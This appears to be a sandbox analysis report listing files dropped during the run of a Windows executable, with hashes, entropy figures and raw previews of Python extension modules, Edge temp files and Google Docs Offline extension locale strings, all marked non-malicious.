Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......gsX.#.6.#.6.#.6.*j../.6.3.7.!.6.3.5.'.6.3.2.+.6.3.3...6.hj7. .6.#.7...6.k.>.".6.k.6.".6.k..".6.k.4.".6.Rich#.6.........................PE..d.....g.........." ...).0...(.......................................................P....`..............................................#...........`...............R.../...p..X...0...T..............................@............@..X............................text...9........0.................. ..`.rdata..,....@.......4..............@..@.data...`M...0...D..................@....pdata...............\..............@..@.rsrc........`.......8..............@..@.reloc..X....p.......B..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29922\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	709904
Entropy (8bit):	5.861739047785334
Encrypted:	false
SSDEEP:	12288:FYGdLI/X77mvfldCKGihH32W3cnPSqrUgLIe:FYGW7qNxr3cnPXLIe
MD5:	0902D299A2A487A7B0C2D75862B13640
SHA1:	04BCBD5A11861A03A0D323A8050A677C3A88BE13
SHA-256:	2693C7EE4FBA55DC548F641C0CB94485D0E18596FFEF16541BD43A5104C28B20
SHA-512:	8CBEF5A9F2D24DA1014F8F1CCBDDD997A084A0B04DD56BCB6AC38DDB636D05EF7E4EA7F67A085363AAD3F43D45413914E55BDEF14A662E80BE955E6DFC2FECA3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Q.............(.....(.....(.....(.....)................).....).....)x....)....Rich..................PE..d.....g.........." ...).B...f......P,..............................................<.....`.........................................P...X................................/..........p...T...........................0...@............`..h............................text....@.......B.................. ..`.rdata...?...`...@...F..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29922\win32\win32crypt.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	125440
Entropy (8bit):	5.967992588245897
Encrypted:	false
SSDEEP:	1536:7ErQXAv52qRoQ79rwlaGVBA+xdPQQL1kUgZAO+sm2c83mL7g2kbB47a:7EgCiQ9roEoJptO+1pRL7ghbB47a
MD5:	94049E023814436E0A3560474F7057D1
SHA1:	28DDCCEE782B9613CE06224E2C80F67FBB2E16C7
SHA-256:	306022128185B4608E49400B7A3FD5954FF524C201D989833CB3AA5856562E97
SHA-512:	FCC00194624B668B39AB29D9D07F080668FB564C6558A9AB8E736052FB8CA596803A4B03DEE827BE915ACCB65251804A7661E976D314A453806D67DCE1269CF6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........g..I...I...I...@~r.O....s..M....s..Y....s..A....s..J...s..K.......K....~..N...I......s..@...s..H...s..H...RichI...........................PE..d...e..g.........." ................(........................................0............`.............................................................d.................... ..H....W..T............................W..8............ ...............................text...~........................... ..`.rdata..p.... ......................@..@.data....-.......(..................@....pdata..............................@..@.rsrc...d...........................@..@.reloc..H.... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\a0a59231-a7c0-4d8d-bbd5-8cfb47fb1956.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76312
Entropy (8bit):	7.9961961721451615
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysVmYBBrYunau6wp:GdS8scZNzFrMa4M+lKTmY/nr
MD5:	9F937F8FFA8C09AEB1825F4E9AF7A58A
SHA1:	0E5FFF3D7C76FD5ADF59B594E269990DBE53A51F
SHA-256:	69479001764215FAA5A24E5DD2A7ED8FEDA2A885AD90A39972C09FF5EDF2E619
SHA-512:	67CAF943829540E2762AF0AE4386DFB9BFEB16393F032A557D7E41B24EBB5A1C723E58D8129205852F1B7A65C0CD375507A0CBDE8E726CC550957AC4F4074F3D
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.33312496802395
Encrypted:	false
SSDEEP:	6:YE+VN1NMjkJ56s/u+VN04OqLQJjDrwv/uJ9V0qoT56s/C:YTVUM56s/xVNZO60Dkv/EV0qU56s/C
MD5:	2AF23FAA16792430D2F37C865AD8B7BC
SHA1:	C0B30B8E163712DC5D8190D71CBC6E488328289A
SHA-256:	76D0672F637BBFB660CB55A6EA19A1EB63FE8B8B11D4CAC1DADC0AF3F835C4FB
SHA-512:	4755B394E0AAF11071366AC9D58171AF65FFF19668ABD8A115F001C7BB4AE5165D6D215B1E423FF2EF7FA5AF98E108501D0CB4E6F179F55EBA084704D63A8B1F
Malicious:	false
Preview:	{"logTime": "1121/210932", "correlationVector":"lAJfLgRD6shmSPuWYgeFXO","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1121/210932", "correlationVector":"8076A4019DDE4AF08DAD6EFAB520FC33","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1121/210933", "correlationVector":"zUE+65jNFo1e5OR/iMqCJ6","action":"EXTENSION_UPDATER", "result":""}.

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\5dd54f1f-2a81-4992-940e-f88e1e50dd5f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
